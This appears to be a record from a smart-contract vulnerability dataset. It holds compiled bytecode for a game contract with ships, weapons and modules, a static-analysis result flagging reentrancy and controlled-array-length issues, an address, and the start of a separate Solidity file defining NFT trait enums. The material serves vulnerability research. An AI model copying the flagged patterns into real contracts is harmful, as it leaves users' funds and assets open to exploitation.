19166000191681526020019081526020016000208790806001815401808255809150509060018203906000526020600020016000909192909190915055506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166327e9f294866040518263ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561157e578082015181840152602081019050611563565b50505050905090810190601f1680156115ab5780820380516001836020036101000a031916815260200191505b5092505050602060405180830381600087803b1580156115ca57600080fd5b505af11580156115de573d6000803e3d6000fd5b505050506040513d60208110156115f457600080fd5b810190808051906020019092919050505090506002600061161585896153ae565b60001916600019168152602001908152602001600020819080600181540180825580915050906001820390600052602060002001600090919290919091505550856004600061166488856154e4565b6000191660001916815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508691505095945050505050565b6000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561172357600080fd5b6001600061173185856153ae565b6000191660001916815260200190815260200160002054905092915050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156117ac57600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663d82b394f866040518263ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180828152602001915050600060405180830381600087803b15801561183c57600080fd5b505af1158015611850573d6000803e3d6000fd5b5050505083600360006118ce6040805190810160405280600581526020017f7368697073000000000000000000000000000000000000000000000000000000815250896040805190810160405280600481526020017f6e616d65000000000000000000000000000000000000000000000000000000008152506155c5565b6000191660001916815260200190815260200160002090805190602001906118f7929190615a7c565b5082600160006119726040805190810160405280600581526020017f7368697073000000000000000000000000000000000000000000000000000000815250896040805190810160405280600281526020017f68700000000000000000000000000000000000000000000000000000000000008152506155c5565b60001916600019168152602001908152602001600020819055508160016000611a066040805190810160405280600581526020017f7368697073000000000000000000000000000000000000000000000000000000815250896040805190810160405280600581526020017f626c6f636b0000000000000000000000000000000000000000000000000000008152506155c5565b60001916600019168152602001908152602001600020819055508060016000611a9a6040805190810160405280600581526020017f7368697073000000000000000000000000000000000000000000000000000000815250896040805190810160405280600581526020017f70726963650000000000000000000000000000000000000000000000000000008152506155c5565b60001916600019168152602001908152602001600020819055505050505050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611b1757600080fd5b611b20816156fc565b50565b6000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611b8157600080fd5b600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611c2457600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166351f6f870886040518263ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180828152602001915050600060405180830381600087803b158015611cb457600080fd5b505af1158015611cc8573d6000803e3d6000fd5b505050508560036000611d466040805190810160405280600c81526020017f6d6963726f4d6f64756c657300000000000000000000000000000000000000008152508b6040805190810160405280600481526020017f6e616d65000000000000000000000000000000000000000000000000000000008152506155c5565b600019166000191681526020019081526020016000209080519060200190611d6f929190615a7c565b508460016000611dea6040805190810160405280600c81526020017f6d6963726f4d6f64756c657300000000000000000000000000000000000000008152508b6040805190810160405280600881526020017f6974656d547970650000000000000000000000000000000000000000000000008152506155c5565b60001916600019168152602001908152602001600020819055508360016000611e7e6040805190810160405280600c81526020017f6d6963726f4d6f64756c657300000000000000000000000000000000000000008152508b6040805190810160405280600981526020017f626f6e75735479706500000000000000000000000000000000000000000000008152506155c5565b60001916600019168152602001908152602001600020819055508260016000611f126040805190810160405280600c81526020017f6d6963726f4d6f64756c657300000000000000000000000000000000000000008152508b6040805190810160405280600581526020017f626f6e75730000000000000000000000000000000000000000000000000000008152506155c5565b60001916600019168152602001908152602001600020819055508160016000611fa66040805190810160405280600c81526020017f6d6963726f4d6f64756c657300000000000000000000000000000000000000008152508b6040805190810160405280600581526020017f6c6576656c0000000000000000000000000000000000000000000000000000008152506155c5565b6000191660001916815260200190815260200160002081905550806001600061203a6040805190810160405280600c81526020017f6d6963726f4d6f64756c657300000000000000000000000000000000000000008152508b6040805190810160405280600581526020017f70726963650000000000000000000000000000000000000000000000000000008152506155c5565b600019166000191681526020019081526020016000208190555050505050505050565b600060606000806000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156120c257600080fd5b856003600061213c6040805190810160405280600981526020017f61727465666163747300000000000000000000000000000000000000000000008152508a6040805190810160405280600481526020017f6e616d65000000000000000000000000000000000000000000000000000000008152506155c5565b60001916600019168152602001908152602001600020600160006121cb6040805190810160405280600981526020017f61727465666163747300000000000000000000000000000000000000000000008152508b6040805190810160405280600881526020017f6974656d547970650000000000000000000000000000000000000000000000008152506155c5565b60001916600019168152602001908152602001600020546001600061225b6040805190810160405280600981526020017f61727465666163747300000000000000000000000000000000000000000000008152508c6040805190810160405280600981526020017f626f6e75735479706500000000000000000000000000000000000000000000008152506155c5565b6000191660001916815260200190815260200160002054600160006122eb6040805190810160405280600981526020017f61727465666163747300000000000000000000000000000000000000000000008152508d6040805190810160405280600581526020017f626f6e75730000000000000000000000000000000000000000000000000000008152506155c5565b6000191660001916815260200190815260200160002054838054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156123975780601f1061236c57610100808354040283529160200191612397565b820191906000526020600020905b81548152906001019060200180831161237a57829003601f168201915b505050505093509450945094509450945091939590929450565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561240d57600080fd5b6124168161577c565b50565b6000806000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561247a57600080fd5b600160006124f36040805190810160405280600c81526020017f6d6963726f4d6f64756c65730000000000000000000000000000000000000000815250876040805190810160405280600581526020017f626f6e75730000000000000000000000000000000000000000000000000000008152506155c5565b6000191660001916815260200190815260200160002054600160006125836040805190810160405280600c81526020017f6d6963726f4d6f64756c65730000000000000000000000000000000000000000815250886040805190810160405280600581526020017f6c6576656c0000000000000000000000000000000000000000000000000000008152506155c5565b6000191660001916815260200190815260200160002054600160006126136040805190810160405280600c81526020017f6d6963726f4d6f64756c65730000000000000000000000000000000000000000815250896040805190810160405280600581526020017f70726963650000000000000000000000000000000000000000000000000000008152506155c5565b60001916600019168152602001908152602001600020549250925092509193909250565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561269357600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663e9742d238a6040518263ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180828152602001915050600060405180830381600087803b15801561272357600080fd5b505af1158015612737573d6000803e3d6000fd5b5050505087600360006127b56040805190810160405280600481526020017f67756e73000000000000000000000000000000000000000000000000000000008152508d6040805190810160405280600481526020017f6e616d65000000000000000000000000000000000000000000000000000000008152506155c5565b6000191660001916815260200190815260200160002090805190602001906127de929190615a7c565b5086600160006128596040805190810160405280600481526020017f67756e73000000000000000000000000000000000000000000000000000000008152508d6040805190810160405280600381526020017f6d696e00000000000000000000000000000000000000000000000000000000008152506155c5565b600019166000191681526020019081526020016000208190555085600160006128ed6040805190810160405280600481526020017f67756e73000000000000000000000000000000000000000000000000000000008152508d6040805190810160405280600381526020017f6d617800000000000000000000000000000000000000000000000000000000008152506155c5565b600019166000191681526020019081526020016000208190555084600160006129816040805190810160405280600481526020017f67756e73000000000000000000000000000000000000000000000000000000008152508d6040805190810160405280600681526020017f72616469757300000000000000000000000000000000000000000000000000008152506155c5565b60001916600019168152602001908152602001600020819055508360016000612a156040805190810160405280600481526020017f67756e73000000000000000000000000000000000000000000000000000000008152508d6040805190810160405280600881526020017f72656368617267650000000000000000000000000000000000000000000000008152506155c5565b60001916600019168152602001908152602001600020819055508260016000612aa96040805190810160405280600481526020017f67756e73000000000000000000000000000000000000000000000000000000008152508d6040805190810160405280600781526020017f6162696c697479000000000000000000000000000000000000000000000000008152506155c5565b60001916600019168152602001908152602001600020819055508160016000612b3d6040805190810160405280600481526020017f67756e73000000000000000000000000000000000000000000000000000000008152508d6040805190810160405280600581526020017f70726963650000000000000000000000000000000000000000000000000000008152506155c5565b60001916600019168152602001908152602001600020819055508060016000612bd16040805190810160405280600481526020017f67756e73000000000000000000000000000000000000000000000000000000008152508d6040805190810160405280600a81526020017f6475726162696c697479000000000000000000000000000000000000000000008152506155c5565b6000191660001916815260200190815260200160002081905550505050505050505050565b6000806000806000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515612c5a57600080fd5b60016000612cd36040805190810160405280600481526020017f67756e7300000000000000000000000000000000000000000000000000000000815250896040805190810160405280600681526020017f72616469757300000000000000000000000000000000000000000000000000008152506155c5565b600019166000191681526020019081526020016000205460016000612d636040805190810160405280600481526020017f67756e73000000000000000000000000000000000000000000000000000000008152508a6040805190810160405280600881526020017f72656368617267650000000000000000000000000000000000000000000000008152506155c5565b600019166000191681526020019081526020016000205460016000612df36040805190810160405280600481526020017f67756e73000000000000000000000000000000000000000000000000000000008152508b6040805190810160405280600781526020017f6162696c697479000000000000000000000000000000000000000000000000008152506155c5565b600019166000191681526020019081526020016000205460016000612e836040805190810160405280600481526020017f67756e73000000000000000000000000000000000000000000000000000000008152508c6040805190810160405280600581526020017f70726963650000000000000000000000000000000000000000000000000000008152506155c5565b600019166000191681526020019081526020016000205460016000612f136040805190810160405280600481526020017f67756e73000000000000000000000000000000000000000000000000000000008152508d6040805190810160405280600a81526020017f6475726162696c697479000000000000000000000000000000000000000000008152506155c5565b60001916600019168152602001908152602001600020549450945094509450945091939590929450565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515612f9957600080fd5b8060016000612fde86866040805190810160405280600581526020017f70726963650000000000000000000000000000000000000000000000000000008152506155c5565b6000191660001916815260200190815260200160002081905550505050565b6060600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561305b57600080fd5b6002600061306985856153ae565b600019166000191681526020019081526020016000208054806020026020016040519081016040528092919081815260200182805480156130c957602002820191906000526020600020905b8154815260200190600101908083116130b5575b5050505050905092915050565b6000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561313457600080fd5b6001600061317885856040805190810160405280600581526020017f70726963650000000000000000000000000000000000000000000000000000008152506155c5565b6000191660001916815260200190815260200160002054905092915050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156131f357600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663926d212e866040518263ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180828152602001915050600060405180830381600087803b15801561328357600080fd5b505af1158015613297573d6000803e3d6000fd5b505050506132de6040805190810160405280600a81526020017f67656e657261746f72730000000000000000000000000000000000000000000081525086868686866157fc565b5050505050565b60006060600080600080600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561334b57600080fd5b86600360006133c56040805190810160405280600781526020017f656e67696e6573000000000000000000000000000000000000000000000000008152508b6040805190810160405280600481526020017f6e616d65000000000000000000000000000000000000000000000000000000008152506155c5565b60001916600019168152602001908152602001600020600160006134546040805190810160405280600781526020017f656e67696e6573000000000000000000000000000000000000000000000000008152508c6040805190810160405280600581526020017f73706565640000000000000000000000000000000000000000000000000000008152506155c5565b6000191660001916815260200190815260200160002054600160006134e46040805190810160405280600781526020017f656e67696e6573000000000000000000000000000000000000000000000000008152508d6040805190810160405280600581526020017f67697065720000000000000000000000000000000000000000000000000000008152506155c5565b6000191660001916815260200190815260200160002054600160006135746040805190810160405280600781526020017f656e67696e6573000000000000000000000000000000000000000000000000008152508e6040805190810160405280600581526020017f70726963650000000000000000000000000000000000000000000000000000008152506155c5565b6000191660001916815260200190815260200160002054600160006136046040805190810160405280600781526020017f656e67696e6573000000000000000000000000000000000000000000000000008152508f6040805190810160405280600a81526020017f6475726162696c697479000000000000000000000000000000000000000000008152506155c5565b6000191660001916815260200190815260200160002054848054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156136b05780601f10613685576101008083540402835291602001916136b0565b820191906000526020600020905b81548152906001019060200180831161369357829003601f168201915b5050505050945095509550955095509550955091939550919395565b6000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561372a57600080fd5b6004600061373885856154e4565b6000191660001916815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905092915050565b60006060600080600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156137da57600080fd5b84600360006138546040805190810160405280600481526020017f67756e7300000000000000000000000000000000000000000000000000000000815250896040805190810160405280600481526020017f6e616d65000000000000000000000000000000000000000000000000000000008152506155c5565b60001916600019168152602001908152602001600020600160006138e36040805190810160405280600481526020017f67756e73000000000000000000000000000000000000000000000000000000008152508a6040805190810160405280600381526020017f6d696e00000000000000000000000000000000000000000000000000000000008152506155c5565b6000191660001916815260200190815260200160002054600160006139736040805190810160405280600481526020017f67756e73000000000000000000000000000000000000000000000000000000008152508b6040805190810160405280600381526020017f6d617800000000000000000000000000000000000000000000000000000000008152506155c5565b6000191660001916815260200190815260200160002054828054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015613a1f5780601f106139f457610100808354040283529160200191613a1f565b820191906000526020600020905b815481529060010190602001808311613a0257829003601f168201915b5050505050925093509350935093509193509193565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515613a9157600080fd5b80600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055505050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515613b3e57600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663678d6eff866040518263ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180828152602001915050600060405180830381600087803b158015613bce57600080fd5b505af1158015613be2573d6000803e3d6000fd5b50505050613c296040805190810160405280600581526020017f6675656c7300000000000000000000000000000000000000000000000000000081525086868686866157fc565b5050505050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515613c8c57600080fd5b613cd760016040805190810160405280601481526020017f546974616e69756d2052616e6765722048756c6c00000000000000000000000081525060c8600265105ef39b2000611750565b613d2560026040805190810160405280601481526020017f506c6174696e756d2052616e6765722048756c6c000000000000000000000000815250610190600467063eb89da4ed0000611750565b613d7360036040805190810160405280601681526020017f4164616d616e7469756d2052616e6765722048756c6c000000000000000000008152506102586007670c7d713b49da0000611750565b565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515613dd157600080fd5b73d135377eb20666725d518c967f23e168045ee11f73ffffffffffffffffffffffffffffffffffffffff16ff5b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515613e5a57600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166310a31091866040518263ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180828152602001915050600060405180830381600087803b158015613eea57600080fd5b505af1158015613efe573d6000803e3d6000fd5b50505050613f456040805190810160405280600681526020017f726164617273000000000000000000000000000000000000000000000000000081525086868686866157fc565b5050505050565b6060600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515613faa57600080fd5b60026000613fb885856153ae565b6000191660001916815260200190815260200160002080548060200260200160405190810160405280929190818152602001828054801561401857602002820191906000526020600020905b815481526020019060010190808311614004575b5050505050905092915050565b600060606000806000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561408a57600080fd5b85600360006140cf8a8a6040805190810160405280600481526020017f6e616d65000000000000000000000000000000000000000000000000000000008152506155c5565b60001916600019168152602001908152602001600020600160006141298b8b6040805190810160405280600581526020017f76616c75650000000000000000000000000000000000000000000000000000008152506155c5565b6000191660001916815260200190815260200160002054600160006141848c8c6040805190810160405280600581526020017f70726963650000000000000000000000000000000000000000000000000000008152506155c5565b6000191660001916815260200190815260200160002054600160006141df8d8d6040805190810160405280600a81526020017f6475726162696c697479000000000000000000000000000000000000000000008152506155c5565b6000191660001916815260200190815260200160002054838054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561428b5780601f106142605761010080835404028352916020019161428b565b820191906000526020600020905b81548152906001019060200180831161426e57829003601f168201915b50505050509350945094509450945094509295509295909350565b60006060600080600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561430957600080fd5b84600360006143836040805190810160405280600c81526020017f6d6963726f4d6f64756c65730000000000000000000000000000000000000000815250896040805190810160405280600481526020017f6e616d65000000000000000000000000000000000000000000000000000000008152506155c5565b60001916600019168152602001908152602001600020600160006144126040805190810160405280600c81526020017f6d6963726f4d6f64756c657300000000000000000000000000000000000000008152508a6040805190810160405280600881526020017f6974656d547970650000000000000000000000000000000000000000000000008152506155c5565b6000191660001916815260200190815260200160002054600160006144a26040805190810160405280600c81526020017f6d6963726f4d6f64756c657300000000000000000000000000000000000000008152508b6040805190810160405280600981526020017f626f6e75735479706500000000000000000000000000000000000000000000008152506155c5565b6000191660001916815260200190815260200160002054828054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561454e5780601f106145235761010080835404028352916020019161454e565b820191906000526020600020905b81548152906001019060200180831161453157829003601f168201915b5050505050925093509350935093509193509193565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156145c057600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166316cf8f77866040518263ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180828152602001915050600060405180830381600087803b15801561465057600080fd5b505af1158015614664573d6000803e3d6000fd5b505050506146ab6040805190810160405280600681526020017f64726f696473000000000000000000000000000000000000000000000000000081525086868686866157fc565b5050505050565b600080600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561471157600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490506000600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555080915050919050565b600060606000806000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561480657600080fd5b85600360006148806040805190810160405280600581526020017f73686970730000000000000000000000000000000000000000000000000000008152508a6040805190810160405280600481526020017f6e616d65000000000000000000000000000000000000000000000000000000008152506155c5565b600019166000191681526020019081526020016000206001600061490f6040805190810160405280600581526020017f73686970730000000000000000000000000000000000000000000000000000008152508b6040805190810160405280600281526020017f68700000000000000000000000000000000000000000000000000000000000008152506155c5565b60001916600019168152602001908152602001600020546001600061499f6040805190810160405280600581526020017f73686970730000000000000000000000000000000000000000000000000000008152508c6040805190810160405280600581526020017f626c6f636b0000000000000000000000000000000000000000000000000000008152506155c5565b600019166000191681526020019081526020016000205460016000614a2f6040805190810160405280600581526020017f73686970730000000000000000000000000000000000000000000000000000008152508d6040805190810160405280600581526020017f70726963650000000000000000000000000000000000000000000000000000008152506155c5565b6000191660001916815260200190815260200160002054838054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015614adb5780601f10614ab057610100808354040283529160200191614adb565b820191906000526020600020905b815481529060010190602001808311614abe57829003601f168201915b505050505093509450945094509450945091939590929450565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515614b5157600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad13eb02866040518263ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180828152602001915050600060405180830381600087803b158015614be157600080fd5b505af1158015614bf5573d6000803e3d6000fd5b50505050614c3c6040805190810160405280600881526020017f7363616e6e65727300000000000000000000000000000000000000000000000081525086868686866157fc565b5050505050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515614c9f57600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663daab88a6876040518263ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180828152602001915050600060405180830381600087803b158015614d2f57600080fd5b505af1158015614d43573d6000803e3d6000fd5b505050508460036000614dc16040805190810160405280600781526020017f656e67696e6573000000000000000000000000000000000000000000000000008152508a6040805190810160405280600481526020017f6e616d65000000000000000000000000000000000000000000000000000000008152506155c5565b600019166000191681526020019081526020016000209080519060200190614dea929190615a7c565b508360016000614e656040805190810160405280600781526020017f656e67696e6573000000000000000000000000000000000000000000000000008152508a6040805190810160405280600581526020017f73706565640000000000000000000000000000000000000000000000000000008152506155c5565b60001916600019168152602001908152602001600020819055508260016000614ef96040805190810160405280600781526020017f656e67696e6573000000000000000000000000000000000000000000000000008152508a6040805190810160405280600581526020017f67697065720000000000000000000000000000000000000000000000000000008152506155c5565b60001916600019168152602001908152602001600020819055508160016000614f8d6040805190810160405280600781526020017f656e67696e6573000000000000000000000000000000000000000000000000008152508a6040805190810160405280600581526020017f70726963650000000000000000000000000000000000000000000000000000008152506155c5565b600019166000191681526020019081526020016000208190555080600160006150216040805190810160405280600781526020017f656e67696e6573000000000000000000000000000000000000000000000000008152508a6040805190810160405280600a81526020017f6475726162696c697479000000000000000000000000000000000000000000008152506155c5565b6000191660001916815260200190815260200160002081905550505050505050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561509f57600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663bae8d888866040518263ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180828152602001915050600060405180830381600087803b15801561512f57600080fd5b505af1158015615143573d6000803e3d6000fd5b5050505083600360006151c16040805190810160405280600981526020017f6172746566616374730000000000000000000000000000000000000000000000815250896040805190810160405280600481526020017f6e616d65000000000000000000000000000000000000000000000000000000008152506155c5565b6000191660001916815260200190815260200160002090805190602001906151ea929190615a7c565b5082600160006152656040805190810160405280600981526020017f6172746566616374730000000000000000000000000000000000000000000000815250896040805190810160405280600881526020017f6974656d547970650000000000000000000000000000000000000000000000008152506155c5565b600019166000191681526020019081526020016000208190555081600160006152f96040805190810160405280600981526020017f6172746566616374730000000000000000000000000000000000000000000000815250896040805190810160405280600981526020017f626f6e75735479706500000000000000000000000000000000000000000000008152506155c5565b6000191660001916815260200190815260200160002081905550806001600061538d6040805190810160405280600981526020017f6172746566616374730000000000000000000000000000000000000000000000815250896040805190810160405280600581526020017f626f6e75730000000000000000000000000000000000000000000000000000008152506155c5565b60001916600019168152602001908152602001600020819055505050505050565b60006153b982615990565b836040516020018083805190602001908083835b6020831015156153f257805182526020820191506020810190506020830392506153cd565b6001836020036101000a03801982511681845116808217855250505050505090500182805190602001908083835b6020831015156154455780518252602082019150602081019050602083039250615420565b6001836020036101000a038019825116818451168082178552505050505050905001925050506040516020818303038152906040526040518082805190602001908083835b6020831015156154af578051825260208201915060208101905060208303925061548a565b6001836020036101000a0380198251168184511680821785525050505050509050019150506040518091039020905092915050565b600082826040516020018083805190602001908083835b60208310151561552057805182526020820191506020810190506020830392506154fb565b6001836020036101000a038019825116818451168082178552505050505050905001828152602001925050506040516020818303038152906040526040518082805190602001908083835b602083101515615590578051825260208201915060208101905060208303925061556b565b6001836020036101000a0380198251168184511680821785525050505050509050019150506040518091039020905092915050565b60008383836040516020018084805190602001908083835b60208310151561560257805182526020820191506020810190506020830392506155dd565b6001836020036101000a03801982511681845116808217855250505050505090500183815260200182805190602001908083835b60208310151561565b5780518252602082019150602081019050602083039250615636565b6001836020036101000a03801982511681845116808217855250505050505090500193505050506040516020818303038152906040526040518082805190602001908083835b6020831015156156c657805182526020820191506020810190506020830392506156a1565b6001836020036101000a038019825116818451168082178552505050505050905001915050604051809103902090509392505050565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561573857600080fd5b80600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515156157b857600080fd5b80600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b836003600061584189896040805190810160405280600481526020017f6e616d65000000000000000000000000000000000000000000000000000000008152506155c5565b60001916600019168152602001908152602001600020908051906020019061586a929190615a7c565b5082600160006158b089896040805190810160405280600581526020017f76616c75650000000000000000000000000000000000000000000000000000008152506155c5565b6000191660001916815260200190815260200160002081905550816001600061590f89896040805190810160405280600581526020017f70726963650000000000000000000000000000000000000000000000000000008152506155c5565b6000191660001916815260200190815260200160002081905550806001600061596e89896040805190810160405280600a81526020017f6475726162696c697479000000000000000000000000000000000000000000008152506155c5565b6000191660001916815260200190815260200160002081905550505050505050565b606080600060146040519080825280601f01601f1916602001820160405280156159c95781602001602082028038833980820191505090505b509150600090505b6014811015615a72578060130360080260020a8473ffffffffffffffffffffffffffffffffffffffff16811515615a0457fe5b047f0100000000000000000000000000000000000000000000000000000000000000028282815181101515615a3557fe5b9060200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a90535080806001019150506159d1565b8192505050919050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f10615abd57805160ff1916838001178555615aeb565b82800160010185558215615aeb579182015b82811115615aea578251825591602001919060010190615acf565b5b509050615af89190615afc565b5090565b615b1e91905b80821115615b1a576000816000905550600101615b02565b5090565b905600a165627a7a723058203036a777d96442dbe7ab6530f58875267d877f0b964e14513cd949b2f7d0e1a10029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
| 5,950 |
0x687974c40Cbe3CD6592F6EBc47EB44924DF24FF2
|
//SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
enum Accessory {
GOLD_EARRINGS,
SCARS,
GOLDEN_CHAIN,
AMULET,
CUBAN_LINK_GOLD_CHAIN,
FANNY_PACK,
NONE
}
enum BackAccessory {
NETRUNNER,
MERCENARY,
RONIN,
ENCHANTER,
VANGUARD,
MINER,
PATHFINDER,
SCOUT
}
enum Background {
STARRY_PINK,
STARRY_YELLOW,
STARRY_PURPLE,
STARRY_GREEN,
NEBULA,
STARRY_RED,
STARRY_BLUE,
SUNSET,
MORNING,
INDIGO,
CITY__PURPLE,
CONTROL_ROOM,
LAB,
GREEN,
ORANGE,
PURPLE,
CITY__GREEN,
CITY__RED,
STATION,
BOUNTY,
